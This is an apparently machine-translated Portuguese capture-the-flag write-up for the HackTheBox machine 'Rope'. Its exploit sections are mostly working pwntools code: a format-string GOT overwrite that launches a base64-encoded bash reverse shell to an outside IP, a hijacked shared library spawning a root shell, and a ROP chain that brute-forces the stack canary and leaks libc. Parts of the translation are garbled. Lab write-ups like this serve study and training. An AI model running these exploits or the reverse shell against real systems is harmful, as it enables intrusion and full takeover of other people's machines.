Continuo publicando soluções enviadas para processamento adicional no site da HackTheBox .Neste artigo, coletamos muitos pwn, que serão resolvidos usando o pwntools. Eu acho que será útil para leitores com qualquer nível de conhecimento neste tópico. Vamos lá ... Aconexão com o laboratório é via VPN. É recomendável não conectar-se a partir de um computador de trabalho ou de um host em que os dados importantes estejam disponíveis, pois você entra em uma rede privada com pessoas que sabem alguma coisa no campo da segurança da informação :)Informações Organizacionais, ,
Telegram . , ,
.
. , - , .
Recon
Esta máquina possui um endereço IP 10.10.10.148, que eu adiciono ao / etc / hosts.10.10.10.148 rope.htb
Primeiro, examinamos portas abertas. Como leva muito tempo para varrer todas as portas com o nmap, primeiro farei isso com o masscan. Examinamos todas as portas TCP e UDP da interface tun0 a uma velocidade de 500 pacotes por segundo.masscan -e tun0 -p1-65535,U:1-65535 10.10.10.148 --rate=500
Agora, para obter informações mais detalhadas sobre os serviços que operam nas portas, executaremos uma varredura com a opção -A.nmap -A rope.htb -p22,9999
O host executa o SSH e um servidor da web. Iremos à Web e seremos atendidos por um formulário de autorização.
Ao visualizar uma varredura de diretório, obtemos um diretório un indexado / (http: //rope.htb: 9999 //).
E no diretório / opt / www, encontramos o arquivo executável - este é o nosso servidor web.
PWN do servidor HTTP
Faça o download e veja qual é a proteção com o checksec.
Portanto, temos um aplicativo de 32 bits com todas as proteções ativadas, a saber:- NX (not execute) — , , , ( ) , , , . .
- ASLR: (libc), libc. ret2libc.
- PIE: , ASLR, , . .
- Canary: , , . , . .
Devido ao fato de podermos ler arquivos no servidor, podemos ler o mapa do processo desse arquivo executável. Isso nos dará a resposta para as seguintes perguntas:- Para qual endereço o programa é baixado?
- E em que endereço as bibliotecas usadas por ela são carregadas?
Vamos fazer isso.curl "http://rope.htb:9999//proc/self/maps" -H 'Range: bytes=0-100000'
Portanto, temos dois endereços: 0x56558000 e f7ddc000. Ao mesmo tempo, obtemos o caminho para a biblioteca libc usada, baixamos também. Agora, levando em conta tudo o que foi encontrado, criaremos um modelo de exploração.from pwn import *
import urllib
import base64
host = 'rope.htb'
port = 9999
context.arch = 'i386'
binary= ELF('./httpserver')
libc = ELF('./libc-2.27.so')
bin_base = 0x56558000
libc_base = 0xf7ddc000
Agora abra o próprio arquivo para análise em um desmontador conveniente para você (com um descompilador). Uso o IDA com vários plugins e, antes de me sentar para uma análise aprofundada, prefiro olhar para tudo o que posso coletar plugins comprovados. Um de muitos deles é o LazyIDA . E para a consulta “scan format string vuln” obtemos um prato com funções potencialmente vulneráveis.
Com a experiência de usar este plugin, chamei imediatamente a atenção para a segunda linha (seu parâmetro de formato). Passamos para o local de uso dessa função e a descompilamos.
E suposições são confirmadas, a linha é simplesmente passada para a função printf. Vamos descobrir o que é essa string. Vamos para o local da chamada para a função log_access.
Então, estamos interessados no terceiro parâmetro, que estava marcando o IDA como arquivo. E só obtemos respostas para todas as perguntas examinando as referências cruzadas para essa variável.
Portanto, este é um ponteiro para uma string - o nome do arquivo que é aberto para leitura. Como essa variável é o resultado da execução da função parse_request (), o arquivo é aberto para leitura e todo o programa é um servidor da Web, podemos assumir que esta é a página solicitada no servidor.curl http://127.0.0.1:9999/qwerty
Vamos verificar a vulnerabilidade da string de formato.curl http://127.0.0.1:9999/$(python -c 'print("AAAA"+"%25p"*100)')
Bem! Vamos definir o deslocamento (quantos especificadores de% p precisam ser enviados para obter 0x41414141 - AAAA no final da saída).
Temos 53. Verifique se está tudo correto.curl http://127.0.0.1:9999/$(python -c 'print("AAAA"+"%25p"*53)')
Não podemos obter um shell local, mas podemos executar um comando, por exemplo, lançar um shell reverso:bash -i >& /dev/tcp/10.10.15.60/4321 0>&1
Mas, para evitar caracteres desconfortáveis, nós o codificaremos em base64, a chamada do shell terá a seguinte aparência:echo “YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS42MC80MzIxIDA+JjEK” | base64 -d | bash -i
E, no final, substitua todos os espaços pela construção $ IFS. Recebemos o comando que você precisa executar para obter a conexão traseira.echo$IFS"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS42MC80MzIxIDA+JjEK"|base64$IFS-d|bash$IFS-i
Vamos adicionar isso ao código:offset = 53
cmd = 'bash -i >& /dev/tcp/10.10.15.60/4321 0>&1'
shell = 'echo$IFS"{}"|base64$IFS-d|bash$IFS-i'.format(base64.b64encode(cmd))
Agora, de volta à nossa string de formato. Como o putf é chamado após printf (), podemos reescrever seu endereço no GOT para o endereço da função do sistema na libc. Graças ao pwntools, isso é muito fácil de fazer. Suponha que você possa obter o endereço relativo da função put usando binary.got ['puts'], também facilmente com o sistema: libc.symbols ['system'] function. Sobre linhas de formato e GOT que descrevi em detalhes em artigos sobre pwn, então aqui simplesmente coletamos a linha de formato usando pwntools:writes = {(elf_base + binary.got['puts']): (libc_base + libc.symbols['system'])}
format_string = fmtstr_payload(offset, writes)
Coletamos a carga útil final:payload = shell + " /" + urllib.quote(format_string) + "\n\n"
Conectamos e enviamos:p = remote(host,port)
p.send(payload)
p.close()
O código completo se parece com isso.
Vamos executar o código e voltar a conectar.

DO UTILIZADOR
Vamos verificar as configurações do sudo para executar comandos sem uma senha.
E vemos que você pode executar readlogs em nome do usuário r4j. Não há vulnerabilidades no aplicativo, os GTFOBins também estão ausentes. Vamos ver as bibliotecas usadas pelo aplicativo.
ls -l /lib/x86_64-linux-gnu/ | grep "liblog.so\|libc.so.6"
Ou seja, podemos escrever nesses arquivos. Vamos escrever nossa biblioteca.#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>
void printlog(){
setuid(0);
setgid(0);
system("/bin/sh");
}
Agora compile-o.gcc -c -Wall -Werror -fpic liblog.c
E colete a biblioteca.Gcc -shared -o liblog.so liblog.o
Em seguida, carregamos o arquivo no host, sobrescrevemos a biblioteca e executamos o programa.
Então pegamos o usuário.RAIZ
Para listar o sistema, usamos linpeas.
Portanto, no host local, a porta 1337 está escutando.
Como você pode ver, nosso usuário é um membro do grupo adm. Vamos dar uma olhada nos arquivos disponíveis para este grupo.
Há um arquivo interessante. E este é o programa que escuta na porta.
Nesse caso, o aplicativo é executado como raiz.
Baixe o aplicativo em si e a biblioteca libc que ele usa. E observe que o ASLR está ativo no host.
Verifique qual proteção o aplicativo possui.
Tudo ao máximo. Ou seja, se encontrarmos um estouro de buffer, precisaremos alterar o canário (o valor que é verificado antes de sair da função para verificar a integridade do buffer) e, como uma técnica para explorar a vulnerabilidade, usaremos o ROP (sobre o qual escrevi detalhadamente)aqui ). Vamos abrir o programa em qualquer desmontador com um descompilador que seja conveniente para você (eu uso o IDA Pro). Nós descompilamos a função principal main.
Um exemplo de canário é a variável v10, que é definida no início de uma função. Vamos ver pelo que a função sub_1267 é responsável.
Então, aqui abrimos a porta para ouvir. Você pode renomeá-lo para is_listen (); nós vamos além. A seguinte função definida pelo usuário é sub_14EE.
Antes de enviar, há outra função do usuário. Nós olhamos para ela.
Portanto, nessa função, uma sequência de até 0x400 bytes é recebida e gravada no buffer. O comentário na variável buf indica o endereço relativo à base do quadro de pilha atual (rbp) - [rbp-40h], e a variável v3 (canary) tem um endereço relativo [rbp-8h], portanto, para o estouro de buffer, precisamos de mais [rbp- 8h] - [rbp-40h] = 0x40-8 = 56 bytes.Assim, o plano é o seguinte:- encontre e exceda o buffer;
- abaixe o canário, rbp e rasgue;
- desde que a TORTA está ativada, você precisa encontrar o deslocamento real;
- encontre um vazamento de memória para calcular o endereço no qual a biblioteca está carregada;
- Colete o ROP, no qual o fluxo de descritores padrão será redirecionado para o descritor de rede do programa e, em seguida, chame / bin / sh através da função do sistema.
1. estouro de buffer
Como pode ser visto abaixo, ao transmitir 56 bytes, o programa continua funcionando normalmente, mas ao transmitir 57 bytes, temos uma exceção. Assim, a integridade do buffer é violada.
Vamos fazer um modelo de exploração. Como será necessário classificar e reconectar muito, desativaremos a saída de mensagens do pwntools (log_level).
from pwn import *
HOST = '127.0.0.1'
PORT = 1337
context(os = "linux", arch = "amd64", log_level='error')
pre_payload = "A" * 56
r = remote(HOST, PORT)
context.log_level='info'
r.interactive()
2.Canário, RBP, RIP
Como descobrimos, após 56 bytes de buffer, há um canário e, depois, há endereços RBP e RIP na pilha, que também precisam ser resolvidos. Vamos escrever uma função de correspondência de 8 bytes.def qword_brute(pre_payload, item):
qword_ = b""
while len(qword_) < 8:
for b in range(256):
byte = bytes([b])
try:
r = remote(HOST, PORT)
print(f"{item} find: {(qword_ + byte).hex()}", end=u"\u001b[1000D")
send_ = pre_payload + qword_ + byte
r.sendafter(b"admin:", send_)
if b"Done" not in r.recvall(timeout=5):
raise EOFError
r.close()
qword_ += byte
break
except EOFError as error:
r.close()
context.log_level='info'
log.success(f"{item} found: {hex(u64(qword_))}")
context.log_level='error'
return qword_
Para que possamos compor pre_payload:pre_payload = b"A" * 56
CANARY = qword_brute(pre_payload, "CANARY")
pre_payload += CANARY
RBP = qword_brute(pre_payload, "RBP")
pre_payload += RBP
RIP = qword_brute(pre_payload, "RIP")
3.PIE
Agora vamos lidar com a TORTA. Encontramos o RIP - este é o endereço de retorno para o qual retornamos da função. Assim, podemos subtrair dele o endereço de retorno no código.
Assim, o deslocamento da base é 0x1562. Vamos indicar o endereço real do aplicativo em execução.base_binary = u64(RIP) - 0x1562
binary = ELF('./contact')
binary.address = base_binary
libc = ELF('./libc.so.6')
Vazamento 4.Memory
O aplicativo usa a função write () padrão para exibir a sequência de prompt, que leva um identificador para a saída, um buffer e seu tamanho. Nós podemos usar esta função.Por conveniência, vamos usar o módulo ROP do pwntools. Em resumo, como e por que isso funciona é apresentado na imagem abaixo.
Vamos vazar, isso nos permitirá saber qual endereço a função de gravação está na biblioteca libc carregada.rop_binary = ROP(binary)
rop_binary.write(0x4, binary.got['write'], 0x8)
send_leak = pre_payload + flat(rop_binary.build())
r = remote(HOST, PORT)
r.sendafter(b"admin:", send_leak)
leak = r.recvall().strip().ljust(8, b'\x00')
print(f"Leak: {hex(u64(leak))}")
base_libc = leak - libc.symbols['write']
5.ROP
Vamos mudar o endereço base da biblioteca libc e encontrar o endereço da linha / bin / sh.libc.address = base_libc
shell_address = next(libc.search(b"/bin/sh\x00"))
Resta coletar o ROP, no qual os descritores de E / S padrão (0,1,2) serão redirecionados para o descritor registrado no programa (4). Após o qual a função do sistema será chamada, onde passaremos o endereço da linha / bin / sh.rop_libc = ROP(libc)
rop_libc.dup2(4, 0)
rop_libc.dup2(4, 1)
rop_libc.dup2(4, 2)
rop_libc.system(shell_address)
payload = pre_payload + flat(rop_libc.build())
r = remote(HOST, PORT)
r.sendafter(b"admin:", payload)
time.sleep(2)
r.sendline(b"id")
6. OperaçãoCódigo completo de exploração.
Agora no servidor, escreva a chave ssh no arquivo /home/r4j/.ssh/authorizef_keys.
E encaminhe a porta (verifique se a conexão da porta local 1337 está redirecionada via SSH para a porta 1337 do host remoto).ssh -L 1337:127.0.0.1:1337 -i id_rsa r4j@rope.htb
E inicie a exploração.
Trabalhamos sob a raiz.Você pode se juntar a nós no Telegram . Lá você encontra materiais interessantes, cursos mesclados e software. Vamos montar uma comunidade na qual haverá pessoas versadas em muitas áreas da TI, para que possamos sempre ajudar uns aos outros em qualquer problema de segurança da TI e da informação.